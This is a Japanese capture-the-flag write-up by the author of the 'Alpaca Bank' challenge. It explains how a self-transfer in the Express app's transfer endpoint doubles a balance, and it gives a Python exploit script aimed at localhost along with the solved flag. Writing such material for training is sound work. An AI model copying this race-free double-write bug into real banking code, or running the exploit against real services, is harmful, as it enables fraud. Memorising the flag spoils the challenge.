はじめに
この記事では、私が 2025 年 12 月 11 日に Daily AlpacaHack で出題した Alpaca Bank の解説をします。問題を先に解きたい方は こちら からどうぞ。
問題文
🦙 < 銀行を作ってみるパカ!
- NOTE1: この問題を解くためには、大量のアカウントを作成する必要はありません。過度なリクエストはお控えください。
- NOTE2: この問題は trillion bank - SECCON CTF 13 Quals のオマージュですが、元問題の知識は不要です。

解説
まず、compose.yaml を確認して、問題の全体像を把握しましょう。
services: web: build: ./web restart: unless-stopped init: true ports: - ${PORT_WEB:-3000}:3000 environment: FLAG: Alpaca{**** REDACTED ****}
サービスは 1 つだけだということがわかります。また、環境変数 FLAG にフラグが設定されていることもわかります。
次に、サービスのソースコード (app.js) を確認していきましょう。
docker compose up でコンテナを起動して、実際のアプリの挙動と照らし合わせながら確認するのも良いでしょう。
const express = require('express'); const crypto = require('crypto'); const path = require('path'); const app = express(); const FLAG = process.env.FLAG ?? "Alpaca{**** REDACTED ****}"; const TRILLION = 1_000_000_000_000; app.use(express.json()); const users = new Set(); const balances = new Map();
まず、必要なモジュールをインポートし、Express アプリケーションを初期化しています。さらに、環境変数からフラグを取得し、ユーザーと残高を管理するために、users という名前の Set と balances という名前の Map を作成しています。
app.post('/api/register', (req, res) => { const id = crypto.randomBytes(10).toString('hex'); users.add(id); balances.set(id, 10); // Initial balance res.status(201).json({ user: id }); });
アカウント登録用のエンドポイントです。新しいユーザー ID を生成し、users に追加し、初期残高を 10 円に設定しています。
app.get('/api/user/:user', (req, res) => { const user = req.params.user; if (!users.has(user)) return res.status(404).send({ error: 'User not found' }); res.status(200).json({ user: user, balance: balances.get(user), flag: balances.get(user) >= TRILLION ? FLAG : null // 🚩 }); });
ユーザー情報取得用のエンドポイントです。指定されたユーザー ID が存在するか確認し、存在すれば残高を返します。また、残高が 1 兆円以上の場合にのみフラグを返してくれるようです。
app.post('/api/transfer', (req, res) => { const { fromUser, toUser, amount } = req.body; if (!Number.isInteger(amount) || amount <= 0) { return res.status(400).send({ error: 'Invalid amount' }); } if (!users.has(fromUser) || !users.has(toUser)) { return res.status(400).send({ error: 'Invalid user ID' }); } const fromBalance = balances.get(fromUser); const toBalance = balances.get(toUser); if (fromBalance < amount) { return res.status(400).send({ error: 'Insufficient funds' }); } balances.set(fromUser, fromBalance - amount); balances.set(toUser, toBalance + amount); res.status(200).json({ receipt: `${fromUser} -> ${toUser} (${amount} yen)` }); });
送金用のエンドポイントです。送金元と送金先のユーザー ID、および送金額を受け取り、残高を更新しています。
app.get('/', (req, res) => { res.sendFile(path.join(__dirname, 'index.html')); }); app.listen(3000, () => { console.log('Server listening on port 3000'); });
最後に、ルートエンドポイントで index.html を返し、サーバーをポート 3000 で起動しています。
目標の残高 1 兆円を達成するためには、1000 億個のアカウントを作成して、それぞれから送金を受け取ればよさそうですが、数が多すぎて現実的ではありません。さらに、問題文にも「この問題を解くためには、大量のアカウントを作成する必要はありません。過度なリクエストはお控えください。」とあるので、他に方法があるはずです。
送金エンドポイント /api/transfer に注目しましょう。
app.post('/api/transfer', (req, res) => { ... const fromBalance = balances.get(fromUser); const toBalance = balances.get(toUser); if (fromBalance < amount) { return res.status(400).send({ error: 'Insufficient funds' }); } balances.set(fromUser, fromBalance - amount); balances.set(toUser, toBalance + amount); ... });
ここで、fromUser と toUser に同じユーザー ID を指定すると、
balances.set(fromUser, fromBalance - amount);
で残高が減りますが、
balances.set(toUser, toBalance + amount);
で減る前の残高を参照し、さらにそこに amount を加算してしまいます。 つまり、同じユーザー間で送金を行うと、残高が amount だけ増えることになります。
このバグを利用して、自身のアカウントの残高と同じ額を自分自身に送信することで、残高を 2 倍にすることができます。
なので、これを 37 回繰り返すことで、残高が 1 兆円を超え、フラグを取得できます。
ブラウザから手動で解いてもいいですし、以下のようなスクリプトを書いて自動化しても良いでしょう。
import requests target_url = f"http://localhost:3000" res = requests.post(target_url + "/api/register") user = res.json()["user"] balance = 10 TRILLION = 1_000_000_000_000 while balance < TRILLION: res = requests.post( target_url + "/api/transfer", json={ "fromUser": user, "toUser": user, "amount": balance, }, ) balance *= 2 res = requests.get(target_url + "/api/user/" + user) flag = res.json().get("flag") print(flag)
flag: Alpaca{this_weekend_is_SECCON_CTF_14_Quals_dont_miss_it}
ということで、フラグに書いた通り日本最大の CTF である SECCON CTF 14 Quals が今週末に開催されます。興味を持った方はぜひ参加してみてください!